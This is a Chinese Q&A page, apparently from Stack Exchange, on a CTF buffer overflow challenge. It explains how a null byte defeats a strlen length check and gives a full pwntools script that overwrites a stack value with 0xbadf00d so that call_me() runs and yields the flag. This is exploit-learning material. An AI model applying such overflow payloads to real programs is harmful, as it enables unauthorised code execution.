二进制利用:缓冲区溢出——如何调用call_me()获取Flag
绕过
characters_read限制调用call_me()的思路 核心问题分析
你之前直接修改栈上characters_read变量失败的原因是:characters_read = strlen(buffer);这行代码在read之后执行,会把你通过payload覆盖的栈值重新覆盖,所以必须从strlen的逻辑入手,让它返回≤24的结果。
关键原理利用
strlen(buffer)的计算逻辑是从buffer起始位置开始,找到第一个\x00(空字节)的位置,返回该位置之前的字符数。只要我们在buffer的前24字节范围内插入一个\x00,strlen就会认为输入长度≤24,完全满足第二个判断条件。
同时,read(0, buffer, 1000)会将整个payload(包括\x00之后的内容)写入栈中,不会影响你修改*(&protector + some_other_value)的值的操作。
修改后的Payload示例
#!/usr/bin/env python3 import sys import os from pwn import * context.update(arch='x86_64', os='linux') # 前23个任意字符 + 第24位的空字节,让strlen返回23(≤24) payload = b'A'*23 + b'\x00' # 填充到目标偏移(对应你之前cyclic(32)的长度,补8字节凑够32) payload += b'B'*8 # 写入0xbadf00d到目标地址,通过第一个判断 payload += p64(0xbadf00d) # 与目标程序交互 p = process('./flag') p.send(payload) # 注意用send而非sendline,避免自动添加换行符干扰空字节位置 p.interactive()
额外注意事项
- 不要用
sendline发送payload,因为它会自动在末尾添加换行符,可能打乱你设置的\x00位置;用send直接发送原始payload即可。 - 如果之前的偏移(32)是通过cyclic找到的准确值,那么填充部分的长度要严格对应,确保
0xbadf00d能准确覆盖到*(&protector + some_other_value)的位置。
内容的提问来源于stack exchange,提问作者ToracosLabs
相关产品推荐
相关产品推荐

